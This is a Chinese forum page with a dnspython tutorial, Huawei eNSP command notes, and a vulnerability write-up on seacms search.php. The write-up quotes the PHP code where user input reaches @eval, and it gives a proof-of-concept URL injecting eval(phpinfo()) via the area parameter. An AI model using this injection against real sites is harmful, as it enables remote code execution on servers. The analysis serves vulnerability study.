域名解析模块(dnspython)

Pythonjizi_smile 发表了文章 • 0 个评论 • 75 次浏览 • 2019-04-14 13:11 • 来自相关话题

一、域名解析模块(dnspython)
dnspython模块提供了大量的DNS处理方法,最常用的方法是域名查询。dnspython提供了一个DNS解析器类--resolver,使用它的query方法来实现域名的查询功能。query方法的定义如下:
A记录:将主机名转换成IP地址MX记录:邮件交换记录,定义邮件服务器的域名CNAME记录:指别名记录,实现域名间的映射NS记录:标记区域的域名服务器及授权子域RTP记录:反向解析,与A记录相反,将IP转换成主机名SOA记录:SOA标记,一个起始授权区的定义
rdclass参数用于指定网络类型,可选的值有IN,CH与HS,其中IN为默认,使用最广泛。TCP参数用于指定查询是否启动TCP协议,默认为False(不启用)。source与source_port参数作为指定查询源地址与端口,默认值为查询设备IP地址和0,raise_on_no_answer参数用于指定当查询无应答是否触发异常,默认为True
  
二、常见解析类型示例说明常见的DNS解析类型包括A,MX,NS,CHANE等。利用dnspython的dns.resolver.query方法可以简单实现这些DNS类型的查询,为后面要实现的功能提供数据来源,比如对一个使用DNS轮循业务的域名进行可用性监控,需要得到当前的解析结果。
1. A记录


 #!/usr/bin/env python
# -*- coding: utf-8 -*-

import dns.resolver

domain = input("Please input an domain:").strip() # 输入一个域名
A = dns.resolver.query(domain,'A') # 指定查看类型为A记录
for i in A.response.answer: # 通过response.answer方法获取查询回应信息
for j in i.items: # 遍历回应信息
print(j.address)

#run
/usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
Please input an domain:baidu.com
220.181.57.216
123.125.115.110 
 


2. MX记录


 import dns.resolver
domain = input("Please input an domain:").strip()
MX = dns.resolver.query(domain, 'MX') # 指定查看类型为MX

for i in MX:
print('MX preference=',i.preference,'mail exchanger=',i.exchange)

# run
/usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
Please input an domain:yeah.net
MX preference= 10 mail exchanger= yeahmx01.mxmail.netease.com.
MX preference= 50 mail exchanger= yeahmx00.mxmail.netease.com. 
 


3. NS记录


 import dns.resolver
domain = input("Please input an domain:").strip()

ns = dns.resolver.query(domain,'NS') # 指定查询类型为NS记录

for i in ns.response.answer:
for j in i.items:
print(j.to_text())
# 只限输入一级域名,如baidu.com.如果输入二级域名或多级域名,如www.baidu.com,则是错误的

# run

/usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
Please input an domain:baidu.com
ns3.baidu.com.
ns2.baidu.com.
ns7.baidu.com.
dns.baidu.com.
ns4.baidu.com. 
 


4. CNAME记录


 import dns.resolver
domain = input("Please input an domain:").strip()
cname = dns.resolver.query(domain, 'CNAME') # 指定查询类型为CNAME记录
for i in cname.response.answer: # 结果将回应cname后的目标域名
for j in i.items:
print(j.to_text())

# run

结果将返回cname后的目标域名 
 


转载自(https://www.cnblogs.com/baishuchao/articles/9128953.html) 查看全部
一、域名解析模块(dnspython)
dnspython模块提供了大量的DNS处理方法,最常用的方法是域名查询。dnspython提供了一个DNS解析器类--resolver,使用它的query方法来实现域名的查询功能。query方法的定义如下:
  • A记录:将主机名转换成IP地址
  • MX记录:邮件交换记录,定义邮件服务器的域名
  • CNAME记录:指别名记录,实现域名间的映射
  • NS记录:标记区域的域名服务器及授权子域
  • RTP记录:反向解析,与A记录相反,将IP转换成主机名
  • SOA记录:SOA标记,一个起始授权区的定义

rdclass参数用于指定网络类型,可选的值有IN,CH与HS,其中IN为默认,使用最广泛。TCP参数用于指定查询是否启动TCP协议,默认为False(不启用)。source与source_port参数作为指定查询源地址与端口,默认值为查询设备IP地址和0,raise_on_no_answer参数用于指定当查询无应答是否触发异常,默认为True
  
二、常见解析类型示例说明常见的DNS解析类型包括A,MX,NS,CHANE等。利用dnspython的dns.resolver.query方法可以简单实现这些DNS类型的查询,为后面要实现的功能提供数据来源,比如对一个使用DNS轮循业务的域名进行可用性监控,需要得到当前的解析结果。
1. A记录



 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import dns.resolver

domain = input("Please input an domain:").strip() # 输入一个域名
A = dns.resolver.query(domain,'A') # 指定查看类型为A记录
for i in A.response.answer: # 通过response.answer方法获取查询回应信息
for j in i.items: # 遍历回应信息
print(j.address)

#run
/usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
Please input an domain:baidu.com
220.181.57.216
123.125.115.110
 
 



2. MX记录



 
import dns.resolver
domain = input("Please input an domain:").strip()
MX = dns.resolver.query(domain, 'MX') # 指定查看类型为MX

for i in MX:
print('MX preference=',i.preference,'mail exchanger=',i.exchange)

# run
/usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
Please input an domain:yeah.net
MX preference= 10 mail exchanger= yeahmx01.mxmail.netease.com.
MX preference= 50 mail exchanger= yeahmx00.mxmail.netease.com.
 
 



3. NS记录



 
import dns.resolver
domain = input("Please input an domain:").strip()

ns = dns.resolver.query(domain,'NS') # 指定查询类型为NS记录

for i in ns.response.answer:
for j in i.items:
print(j.to_text())
# 只限输入一级域名,如baidu.com.如果输入二级域名或多级域名,如www.baidu.com,则是错误的

# run

/usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
Please input an domain:baidu.com
ns3.baidu.com.
ns2.baidu.com.
ns7.baidu.com.
dns.baidu.com.
ns4.baidu.com.
 
 



4. CNAME记录



 
import dns.resolver
domain = input("Please input an domain:").strip()
cname = dns.resolver.query(domain, 'CNAME') # 指定查询类型为CNAME记录
for i in cname.response.answer: # 结果将回应cname后的目标域名
for j in i.items:
print(j.to_text())

# run

结果将返回cname后的目标域名
 
 



转载自(https://www.cnblogs.com/baishuchao/articles/9128953.html)

华为模拟器eNSP基本命令

编程cat 发表了文章 • 0 个评论 • 90 次浏览 • 2019-04-12 16:23 • 来自相关话题

 一、基本命令
system-view    进入系统视图,默认为用户视图,命令简写 syssysname    修改名称ctrl + z     快速退出到用户模式quit    退出当前设置save    保存配置信息display ip routing-table    查看路由表interface GigabitEthernet 0/0/1(接口) 进入接口(GigabitEthernet 和 g 都代表 吉比特以太网,=14pt命令简写 int g0/0/1命令+ ?    查看帮助命令Tab键   补全命令二、二层交换机命令display vlan  查看整个vlan接口情况vlan 2   划分单个vlanvlan batch 2 3 划分多个vlanport link-type access    设置链路类型,需要先进入接口,下图为所有的链路类型:


三、路由命令ip address 1.1.1.1 24    设置某个接口的ipdisplay ip interface brief    查看所有的接口与ip的相关信息ip route-static 192.168.2.10 24 1.1.1.1    静态设置路由发包到192.168.2.10的下一跳为1.1.1.1
 
 
如果有需要补充,请在下面留言 查看全部
 一、基本命令
  • system-view    进入系统视图,默认为用户视图,命令简写 sys
  • sysname    修改名称
  • ctrl + z     快速退出到用户模式
  • quit    退出当前设置
  • save    保存配置信息
  • display ip routing-table    查看路由表
  • interface GigabitEthernet 0/0/1(接口) 进入接口(GigabitEthernet 和 g 都代表 吉比特以太网,=14pt命令简写 int g0/0/1
  • 命令+ ?    查看帮助命令
  • Tab键   补全命令
二、二层交换机命令
  • display vlan  查看整个vlan接口情况
  • vlan 2   划分单个vlan
  • vlan batch 2 3 划分多个vlan
  • port link-type access    设置链路类型,需要先进入接口,下图为所有的链路类型:
    20171116093630265.png
三、路由命令
  • ip address 1.1.1.1 24    设置某个接口的ip
  • display ip interface brief    查看所有的接口与ip的相关信息
  • ip route-static 192.168.2.10 24 1.1.1.1    静态设置路由发包到192.168.2.10的下一跳为1.1.1.1

 
 
如果有需要补充,请在下面留言

seacms v6.28 search.php 存在任意代码执行漏洞

渗透测试zksmile 发表了文章 • 1 个评论 • 93 次浏览 • 2019-04-09 09:36 • 来自相关话题

http://0day5.com/archives/4180/
 
漏洞环境:
docker pull zksmile/vul:seacmsv6.26漏洞分析:
漏洞文件:seacms/search.php:
function echoSearchPage()
{
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$typeStr = !empty($tid)?intval($tid).'_':'0_';
$yearStr = !empty($year)?PinYin($year).'_':'0_';
$letterStr = !empty($letter)?$letter.'_':'0_';
$areaStr = !empty($area)?PinYin($area).'_':'0_';
$orderStr = !empty($order)?$order.'_':'0_';
$jqStr = !empty($jq)?$jq.'_':'0_';
$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
}else
{
if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
$cacheName="parse_search_";
$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
}
if (empty($pSize)) $pSize=12;
switch (intval($searchtype)) {
case -1:
$whereStr=" where v_recycled=0 and (v_name like '%$searchword%' or v_actor like '%$searchword%' or v_director like '%$searchword%' or v_publisharea like '%$searchword%' or v_publishyear like '%$searchword%' or v_letter='$searchword' or v_tags='$searchword' or v_nickname like '%$searchword%')";
break;
case 0:
$whereStr=" where v_recycled=0 and v_name like '%$searchword%'";
break;
case 1:
$whereStr=" where v_recycled=0 and v_actor like '%$searchword%'";
break;
case 2:
$whereStr=" where v_recycled=0 and v_publisharea like '%$searchword%'";
break;
case 3:
$whereStr=" where v_recycled=0 and v_publishyear like '%$searchword%'";
break;
case 4:
$whereStr=" where v_recycled=0 and v_letter='".strtoupper($searchword)."'";
break;
case 5:
$whereStr=" where v_recycled=0";
if(!empty($tid)) $whereStr.=" and (tid in (".getTypeId($tid).") or FIND_IN_SET('".$tid."',v_extratype)<>0)";
if($year=="more")
{
$publishyeartxt=sea_DATA."/admin/publishyear.txt";
$publishyear = array();
if(filesize($publishyeartxt)>0)
{
$publishyear = file($publishyeartxt);
}
$yearArray=$publishyear;
$yeartxt= implode(',',$yearArray);
$whereStr.=" and v_publishyear not in ($yeartxt)";
}
if(!empty($year) AND $year!="more")
{$whereStr.=" and v_publishyear='$year'";}
if($letter=="0-9")
{$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
if(!empty($letter) AND $letter!="0-9")
{$whereStr.=" and v_letter='$letter'";}
if(!empty($area)) $whereStr.=" and v_publisharea='$area'";
if(!empty($yuyan)) $whereStr.=" and v_lang='$yuyan'";
if(!empty($jq)) $whereStr.=" and v_jq like'%$jq%'";
if($state=='l') $whereStr.=" and v_state !=0";
if($state=='w') $whereStr.=" and v_state=0";
if($money=='s') $whereStr.=" and v_money !=0";
if($money=='m') $whereStr.=" and v_money=0";
if(!empty($ver)) $whereStr.=" and v_ver='$ver'";
break;
}
$sql="select count(*) as dd from sea_data ".$whereStr;
$row = $dsql->GetOne($sql);
if(is_array($row))
{
$TotalResult = $row['dd'];
}
else
{
$TotalResult = 0;
}
$pCount = ceil($TotalResult/$pSize);
if($cfg_iscache){
if(chkFileCache($cacheName)){
$content = getFileCache($cacheName);
}else{
$content = parseSearchPart($searchTemplatePath);
setFileCache($cacheName,$content);
}
}else{
$content = parseSearchPart($searchTemplatePath);
}
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);

$content = str_replace("{searchpage:order-hit-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hit&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-hitasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hitasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

$content = str_replace("{searchpage:order-id-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=id&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-idasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=idasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

$content = str_replace("{searchpage:order-time-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=time&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-timeasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=timeasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

$content = str_replace("{searchpage:order-commend-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commend&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-commendasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commendasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

$content = str_replace("{searchpage:order-score-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=score&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-scoreasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=scoreasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
if(intval($searchtype)==5)
{
$tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
$jq = !empty($jq)?$jq:'全部';
$area = !empty($area)?$area:'全部';
$year = !empty($year)?$year:'全部';
$yuyan = !empty($yuyan)?$yuyan:'全部';
$letter = !empty($letter)?$letter:'全部';
$state = !empty($state)?$state:'全部';
$ver = !empty($ver)?$ver:'全部';
$money = !empty($money)?$money:'全部';
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
$content=$mainClassObj->parseSearchItemList($content,"type");
$content=$mainClassObj->parseSearchItemList($content,"year");
$content=$mainClassObj->parseSearchItemList($content,"area");
$content=$mainClassObj->parseSearchItemList($content,"letter");
$content=$mainClassObj->parseSearchItemList($content,"lang");
$content=$mainClassObj->parseSearchItemList($content,"jq");
$content=$mainClassObj->parseSearchItemList($content,"state");
$content=$mainClassObj->parseSearchItemList($content,"ver");
$content=$mainClassObj->parseSearchItemList($content,"money");
}else
{
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
}
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content); //这个函数引起的,我们来跟踪下这个函数
$content=str_replace("{seacms:member}",front_member(),$content);
$searchPageStr = $content;
echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
}parseif函数路径:/include/main.class.php:
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");//就是这里了,@eval
if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}else{
$elseIfArray=explode($labelRule2,$strThen);
$elseIfArrayLen=count($elseIfArray);
$elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
$resultStr=$elseIfSubArray[1];
$elseIfArraystr0=addslashes($elseIfArray[0]);
@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
$strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
$strElseIf=$this->parseStrIf($strElseIf);
$strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
@eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
@eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {break;}
}
$strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
$strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
@eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$content=str_replace($iar[0][$m],$resultStr,$content);
}
}
return $content;
}POC:
/search.php?searchtype=5&tid=&area=eval(phpinfo())




  查看全部
http://0day5.com/archives/4180/
 
漏洞环境:
docker pull zksmile/vul:seacmsv6.26
漏洞分析:
漏洞文件:seacms/search.php:
function echoSearchPage()
{
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$typeStr = !empty($tid)?intval($tid).'_':'0_';
$yearStr = !empty($year)?PinYin($year).'_':'0_';
$letterStr = !empty($letter)?$letter.'_':'0_';
$areaStr = !empty($area)?PinYin($area).'_':'0_';
$orderStr = !empty($order)?$order.'_':'0_';
$jqStr = !empty($jq)?$jq.'_':'0_';
$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
}else
{
if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
$cacheName="parse_search_";
$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
}
if (empty($pSize)) $pSize=12;
switch (intval($searchtype)) {
case -1:
$whereStr=" where v_recycled=0 and (v_name like '%$searchword%' or v_actor like '%$searchword%' or v_director like '%$searchword%' or v_publisharea like '%$searchword%' or v_publishyear like '%$searchword%' or v_letter='$searchword' or v_tags='$searchword' or v_nickname like '%$searchword%')";
break;
case 0:
$whereStr=" where v_recycled=0 and v_name like '%$searchword%'";
break;
case 1:
$whereStr=" where v_recycled=0 and v_actor like '%$searchword%'";
break;
case 2:
$whereStr=" where v_recycled=0 and v_publisharea like '%$searchword%'";
break;
case 3:
$whereStr=" where v_recycled=0 and v_publishyear like '%$searchword%'";
break;
case 4:
$whereStr=" where v_recycled=0 and v_letter='".strtoupper($searchword)."'";
break;
case 5:
$whereStr=" where v_recycled=0";
if(!empty($tid)) $whereStr.=" and (tid in (".getTypeId($tid).") or FIND_IN_SET('".$tid."',v_extratype)<>0)";
if($year=="more")
{
$publishyeartxt=sea_DATA."/admin/publishyear.txt";
$publishyear = array();
if(filesize($publishyeartxt)>0)
{
$publishyear = file($publishyeartxt);
}
$yearArray=$publishyear;
$yeartxt= implode(',',$yearArray);
$whereStr.=" and v_publishyear not in ($yeartxt)";
}
if(!empty($year) AND $year!="more")
{$whereStr.=" and v_publishyear='$year'";}
if($letter=="0-9")
{$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
if(!empty($letter) AND $letter!="0-9")
{$whereStr.=" and v_letter='$letter'";}
if(!empty($area)) $whereStr.=" and v_publisharea='$area'";
if(!empty($yuyan)) $whereStr.=" and v_lang='$yuyan'";
if(!empty($jq)) $whereStr.=" and v_jq like'%$jq%'";
if($state=='l') $whereStr.=" and v_state !=0";
if($state=='w') $whereStr.=" and v_state=0";
if($money=='s') $whereStr.=" and v_money !=0";
if($money=='m') $whereStr.=" and v_money=0";
if(!empty($ver)) $whereStr.=" and v_ver='$ver'";
break;
}
$sql="select count(*) as dd from sea_data ".$whereStr;
$row = $dsql->GetOne($sql);
if(is_array($row))
{
$TotalResult = $row['dd'];
}
else
{
$TotalResult = 0;
}
$pCount = ceil($TotalResult/$pSize);
if($cfg_iscache){
if(chkFileCache($cacheName)){
$content = getFileCache($cacheName);
}else{
$content = parseSearchPart($searchTemplatePath);
setFileCache($cacheName,$content);
}
}else{
$content = parseSearchPart($searchTemplatePath);
}
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);

$content = str_replace("{searchpage:order-hit-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hit&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-hitasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hitasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

$content = str_replace("{searchpage:order-id-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=id&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-idasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=idasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

$content = str_replace("{searchpage:order-time-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=time&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-timeasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=timeasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

$content = str_replace("{searchpage:order-commend-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commend&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-commendasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commendasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);

$content = str_replace("{searchpage:order-score-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=score&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-scoreasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=scoreasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
if(intval($searchtype)==5)
{
$tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
$jq = !empty($jq)?$jq:'全部';
$area = !empty($area)?$area:'全部';
$year = !empty($year)?$year:'全部';
$yuyan = !empty($yuyan)?$yuyan:'全部';
$letter = !empty($letter)?$letter:'全部';
$state = !empty($state)?$state:'全部';
$ver = !empty($ver)?$ver:'全部';
$money = !empty($money)?$money:'全部';
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
$content=$mainClassObj->parseSearchItemList($content,"type");
$content=$mainClassObj->parseSearchItemList($content,"year");
$content=$mainClassObj->parseSearchItemList($content,"area");
$content=$mainClassObj->parseSearchItemList($content,"letter");
$content=$mainClassObj->parseSearchItemList($content,"lang");
$content=$mainClassObj->parseSearchItemList($content,"jq");
$content=$mainClassObj->parseSearchItemList($content,"state");
$content=$mainClassObj->parseSearchItemList($content,"ver");
$content=$mainClassObj->parseSearchItemList($content,"money");
}else
{
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
}
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content); //这个函数引起的,我们来跟踪下这个函数
$content=str_replace("{seacms:member}",front_member(),$content);
$searchPageStr = $content;
echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
}
parseif函数路径:/include/main.class.php:
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");//就是这里了,@eval
if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}else{
$elseIfArray=explode($labelRule2,$strThen);
$elseIfArrayLen=count($elseIfArray);
$elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
$resultStr=$elseIfSubArray[1];
$elseIfArraystr0=addslashes($elseIfArray[0]);
@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
$strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
$strElseIf=$this->parseStrIf($strElseIf);
$strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
@eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
@eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {break;}
}
$strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
$strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
